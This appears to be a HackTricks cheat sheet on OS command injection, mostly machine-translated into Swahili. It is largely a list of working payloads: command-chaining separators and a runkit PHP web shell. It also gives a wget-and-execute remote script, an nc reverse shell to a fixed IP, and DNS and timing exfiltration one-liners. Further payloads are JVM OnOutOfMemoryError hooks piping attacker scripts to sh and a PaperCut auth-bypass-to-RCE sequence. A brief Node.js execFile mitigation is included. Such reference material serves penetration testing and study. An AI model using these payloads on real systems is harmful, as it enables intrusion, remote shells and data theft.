Command Injection
Tip
Jifunze na fanya mazoezi ya AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Jifunze na fanya mazoezi ya Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Vinjari katalogi kamili ya HackTricks Training kwa ajili ya njia za assessment (ARTA/GRTA/AzRTA) na Linux Hacking Expert (LHE).
Support HackTricks
- Angalia subscription plans!
- Jiunge na 💬 Discord group, telegram group, fuata @hacktricks_live kwenye X/Twitter, au angalia LinkedIn page na YouTube channel.
- Shiriki hacking tricks kwa kutuma PRs kwenye HackTricks na HackTricks Cloud github repos.
Command Injection ni nini?
A command injection inaruhusu utekelezaji wa amri zozote za mfumo wa uendeshaji na mshambuliaji kwenye server inayohifadhi programu. Matokeo yake, programu na data zake zote zinaweza kuathiriwa kabisa. Utekelezaji wa amri hizi kawaida humruhusu mshambuliaji kupata ufikiaji usioidhinishwa au kudhibiti mazingira ya programu pamoja na mfumo wa msingi.
Muktadha
Kutegemea mahali ambamo ingizo lako linaingizwa unaweza kuhitaji kumaliza muktadha ulioko ndani ya nukuu (ukitumia " au ') kabla ya amri.
Command Injection/Execution
#Both Unix and Windows supported
ls||id; ls ||id; ls|| id; ls || id # Execute both
ls|id; ls |id; ls| id; ls | id # Execute both (using a pipe)
ls&&id; ls &&id; ls&& id; ls && id # Execute 2º if 1º finish ok
ls&id; ls &id; ls& id; ls & id # Execute both but you can only see the output of the 2º
ls %0A id # %0A Execute both (RECOMMENDED)
ls%0abash%09-c%09"id"%0a # (Combining new lines and tabs)
#Only unix supported
`ls` # ``
$(ls) # $()
ls; id # ; Chain commands
ls${LS_COLORS:10:1}${IFS}id # Might be useful
#Not executed but may be interesting
> /var/www/html/out.txt #Try to redirect the output to a file
< /etc/passwd #Try to send some input to the command
Injini za sheria za PHP zenye runkit zimewezeshwa
Baadhi ya programu hufanya injini za sheria za admin pekee kwa executing attacker-supplied PHP. Ikiwa mazingira yamewezesha extension ya runkit, attacker anaweza kuredefine au ku-inject functions wakati wa runtime na kupanua mhariri wa sheria unaotegemea mantiki tu hadi kuwa full PHP RCE.
Viashiria:
- UI ya Admin inakubali PHP-like “rules” ambazo zinafanyiwa tathmini.
runkit/runkit7imewekwa (phpinfo()orextension_loaded('runkit')).
Mfano wa matumizi mabaya (redefine function inayotumika na rules ili kutekeleza amri):
<?php
runkit_function_redefine('checkBid', '$bid', 'system($_GET["cmd"]); return true;');
Ikiwa yaliyomo ya kanuni yanahifadhiwa na kutathminiwa baadaye, yanageuka kuwa primitive ya RCE ya kudumu katika muktadha wa wavuti.
Vikwazo Bypasses
Ikiwa unajaribu kutekeleza amri yoyote ndani ya mashine ya linux utavutiwa kusoma kuhusu haya Bypasses:
Mifano
vuln=127.0.0.1 %0a wget https://web.es/reverse.txt -O /tmp/reverse.php %0a php /tmp/reverse.php
vuln=127.0.0.1%0anohup nc -e /bin/bash 51.15.192.49 80
vuln=echo PAYLOAD > /tmp/pay.txt; cat /tmp/pay.txt | base64 -d > /tmp/pay; chmod 744 /tmp/pay; /tmp/pay
Bash tathmini ya hisabati katika RewriteMap/CGI-style scripts
RewriteMap helpers zilizoandikwa kwa bash wakati mwingine huingiza query params katika globals kisha baadaye kuzilinganisha katika muktadha wa hisabati ([[ $a -gt $b ]], $((...)), let). Upanuzi wa kihisabati hurudia kugawa tokens za yaliyomo, hivyo majina ya vigezo yanayotawaliwa na mshambulizi au marejeleo ya array yanapanuliwa mara mbili na yanaweza kusababisha utekelezaji wa amri.
Mfano ulioonekana katika Ivanti EPMM RewriteMap helpers:
- Vigezo vinarushwa kwa globals (
st→gStartTime,h→theValue). - Ukaguzi baadaye:
if [[ ${theCurrentTimeSeconds} -gt ${gStartTime} ]]; then
...
fi
- Tuma
st=theValueiligStartTimeiwe na stringtheValue. - Tuma
h=gPath['sleep 5']ilitheValueiitwe na index ya array; wakati wa ukaguzi wa kihisabati itafanyasleep 5(badilisha kwa payload halisi).
Jaribio (~ ucheleweshaji wa 5s kisha 404 ikiwa dhaifu):
curl -k "https://TARGET/mifs/c/appstore/fob/ANY?st=theValue&h=gPath['sleep 5']"
Vidokezo:
- Tafuta helper ile ile chini ya vitangulizi vingine (kwa mfano,
/mifs/c/aftstore/fob/). - Muktadha wa hisabati hushughulikia token zisizojulikana kama vitambulisho vya variable/array, hivyo hili linavuka vichujio rahisi vya metacharacter.
Vigezo
Hapa kuna vigezo 25 vya juu ambavyo vinaweza kuwa hatarini kwa code injection na udhaifu za RCE zinazofanana (from link):
?cmd={payload}
?exec={payload}
?command={payload}
?execute{payload}
?ping={payload}
?query={payload}
?jump={payload}
?code={payload}
?reg={payload}
?do={payload}
?func={payload}
?arg={payload}
?option={payload}
?load={payload}
?process={payload}
?step={payload}
?read={payload}
?function={payload}
?req={payload}
?feature={payload}
?exe={payload}
?module={payload}
?payload={payload}
?run={payload}
?print={payload}
Time based data exfiltration
Kunasa data: herufi kwa herufi
swissky@crashlab▸ ~ ▸ $ time if [ $(whoami|cut -c 1) == s ]; then sleep 5; fi
real 0m5.007s
user 0m0.000s
sys 0m0.000s
swissky@crashlab▸ ~ ▸ $ time if [ $(whoami|cut -c 1) == a ]; then sleep 5; fi
real 0m0.002s
user 0m0.000s
sys 0m0.000s
DNS based data exfiltration
Inategemea zana kutoka https://github.com/HoLyVieR/dnsbin pia inapatikana kwenye dnsbin.zhack.ca
1. Go to http://dnsbin.zhack.ca/
2. Execute a simple 'ls'
for i in $(ls /) ; do host "$i.3a43c7e4e57a8d0e2057.d.zhack.ca"; done
$(host $(wget -h|head -n1|sed 's/[ ,]/-/g'|tr -d '.').sudo.co.il)
Zana za mtandaoni za kukagua DNS based data exfiltration:
- dnsbin.zhack.ca
- pingb.in
Filtering bypass
Windows
powershell C:**2\n??e*d.*? # notepad
@^p^o^w^e^r^shell c:**32\c*?c.e?e # calc
Linux
Node.js child_process.exec vs execFile
Unapokagua back-end za JavaScript/TypeScript, mara nyingi utakutana na API ya Node.js child_process.
// Vulnerable: user-controlled variables interpolated inside a template string
const { exec } = require('child_process');
exec(`/usr/bin/do-something --id_user ${id_user} --payload '${JSON.stringify(payload)}'`, (err, stdout) => {
/* … */
});
exec() huanzisha shell (/bin/sh -c), kwa hivyo kila alama ambayo ina maana maalum kwa shell (back-ticks, ;, &&, |, $(), …) itasababisha command injection wakati input ya mtumiaji inapounganishwa kwenye string.
Kupunguza hatari: tumia execFile() (au spawn() bila chaguo la shell) na utoe kila argument kama kipengele tofauti cha array ili shell isihusika:
const { execFile } = require('child_process');
execFile('/usr/bin/do-something', [
'--id_user', id_user,
'--payload', JSON.stringify(payload)
]);
Real-world case: Synology Photos ≤ 1.7.0-0794 ilitumika kwa urahisi kupitia tukio la WebSocket lisilo na uthibitisho ambalo liliweka data iliyodhibitiwa na mshambuliaji ndani ya id_user ambayo baadaye ilinganishwa katika simu ya exec(), ikifanikisha RCE (Pwn2Own Ireland 2024).
Argument/Option injection via leading hyphen (argv, no shell metacharacters)
Not all injections require shell metacharacters. If the application passes untrusted strings as arguments to a system utility (even with execve/execFile and no shell), many programs will still parse any argument that begins with - or -- as an option. This lets an attacker flip modes, change output paths, or trigger dangerous behaviors without ever breaking into a shell.
Mahali pa kawaida ambapo hili hujitokeza:
- UI za wavuti zilizojumuishwa / CGI handlers ambazo zinajenga amri kama
ping <user>,tcpdump -i <iface> -w <file>,curl <url>, n.k. - Centralized CGI routers (e.g.,
/cgi-bin/<something>.cgiwith a selector parameter liketopicurl=<handler>) ambapo handlers wengi wanatumia validator dhaifu moja.
Nini kujaribu:
- Toa thamani zinazotangulia na
-/--ili zichukuliwe kama bendera na zana inayochakata. - Tumia vibaya flags ambazo zinabadilisha mwenendo au kuandika faili, kwa mfano:
ping:-f/-c 100000kusababisha msongo kwa kifaa (DoS)curl:-o /tmp/xkuandika paths yoyote,-K <url>kupakia config inayodhibitiwa na mshambuliajitcpdump:-G 1 -W 1 -z /path/script.shkufanikisha utekelezwaji baada ya rotate katika wrappers zisizo salama
- Ikiwa programu inaunga mkono
--(end-of-options), jaribu kuikwepa mitigations rahisi zinazoweka--mahali pasipo sahihi.
Generic PoC shapes against centralized CGI dispatchers:
POST /cgi-bin/cstecgi.cgi HTTP/1.1
Content-Type: application/x-www-form-urlencoded
# Flip options in a downstream tool via argv injection
topicurl=<handler>¶m=-n
# Unauthenticated RCE when a handler concatenates into a shell
topicurl=setEasyMeshAgentCfg&agentName=;id;
Callbacks za uchunguzi za JVM kwa exec iliyothibitishwa
Kilele chochote kinachokuwezesha kuingiza JVM command-line arguments (_JAVA_OPTIONS, launcher config files, AdditionalJavaArguments fields in desktop agents`, n.k.) kinaweza kubadilishwa kuwa RCE ya kuaminika bila kugusa bytecode ya programu:
- Lazimisha crash linalotabirika kwa kupunguza metaspace au heap:
-XX:MaxMetaspaceSize=16m(au-Xmxndogo sana). Hii inahakikishiaOutOfMemoryErrorhata wakati wa bootstrap ya mapema. - Ambatisha hook ya hitilafu:
-XX:OnOutOfMemoryError="<cmd>"au-XX:OnError="<cmd>"inayotekeleza amri yoyote ya OS kila JVM inapokata. - Hiari, ongeza
-XX:+CrashOnOutOfMemoryErrorili kuepuka jaribio za urejesho na kufanya payload iwe ya kumaliza mara moja.
Mifano ya payloads:
-XX:MaxMetaspaceSize=16m -XX:OnOutOfMemoryError="cmd.exe /c powershell -nop -w hidden -EncodedCommand <blob>"
-XX:MaxMetaspaceSize=12m -XX:OnOutOfMemoryError="/bin/sh -c 'curl -fsS https://attacker/p.sh | sh'"
Kwa sababu uchunguzi hizi zinachambuliwa na JVM yenyewe, hakuna shell metacharacters zinazohitajika na amri inatekelezwa kwa ngazi hiyo hiyo ya uadilifu kama launcher. Bug za Desktop IPC zinazopita user-supplied JVM flags (see Localhost WebSocket abuse) kwa hivyo zinatafsiriwa moja kwa moja kuwa OS command execution.
PaperCut NG/MF SetupCompleted auth bypass -> print scripting RCE
- Vulnerable NG/MF builds (e.g., 22.0.5 Build 63914) expose
/app?service=page/SetupCompleted; kufungua ukurasa huo na kubofya Login hurudishaJSESSIONIDhalali bila sifa (authentication bypass kwenye mtiririko wa setup). - Katika Options → Config Editor, set
print-and-device.script.enabled=Ynaprint.script.sandboxed=Nili kuwasha printer scripting na kuzima sandbox. - Kwenye tab ya Scripting ya printer, wezesha script na uache
printJobHookikifafanuliwa ili kuepuka makosa ya uhalali, lakini weka payload outside the function ili itekelezwe mara moja unapobofya Apply (hakuna print job inahitajika):
function printJobHook(inputs, actions) {}
cmd = ["bash","-c","curl http://attacker/hit"];
java.lang.Runtime.getRuntime().exec(cmd);
- Badilisha callback kwa reverse shell; ikiwa UI/PoC haiwezi kushughulikia pipes/redirects, andaa payload yenye amri moja kisha uitekeleze (exec) kwa ombi la pili.
- Horizon3’s CVE-2023-27350.py inaotomatisha auth bypass, config flips, command execution, na rollback — iendeshe kupitia upstream proxy (mfano,
proxychains→ Squid) wakati service inaweza kufikiwa ndani tu.
Orodha ya Ugundaji wa Brute-Force
https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/command_injection.txt
Marejeo
- https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection
- https://portswigger.net/web-security/os-command-injection
- Extraction of Synology encrypted archives – Synacktiv 2025
- PHP proc_open manual
- HTB Nocturnal: IDOR → Command Injection → Root via ISPConfig (CVE‑2023‑46818)
- Unit 42 – TOTOLINK X6000R: Three New Vulnerabilities Uncovered
- When WebSockets Lead to RCE in CurseForge
- PaperCut NG/MF SetupCompleted auth bypass → print scripting RCE
- HTB: Gavel
- CVE-2023-27350.py (auth bypass + print scripting automation)
- Unit 42 – Bash arithmetic expansion RCE in Ivanti RewriteMap scripts
Tip
Jifunze na fanya mazoezi ya AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Jifunze na fanya mazoezi ya Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Vinjari katalogi kamili ya HackTricks Training kwa ajili ya njia za assessment (ARTA/GRTA/AzRTA) na Linux Hacking Expert (LHE).
Support HackTricks
- Angalia subscription plans!
- Jiunge na 💬 Discord group, telegram group, fuata @hacktricks_live kwenye X/Twitter, au angalia LinkedIn page na YouTube channel.
- Shiriki hacking tricks kwa kutuma PRs kwenye HackTricks na HackTricks Cloud github repos.


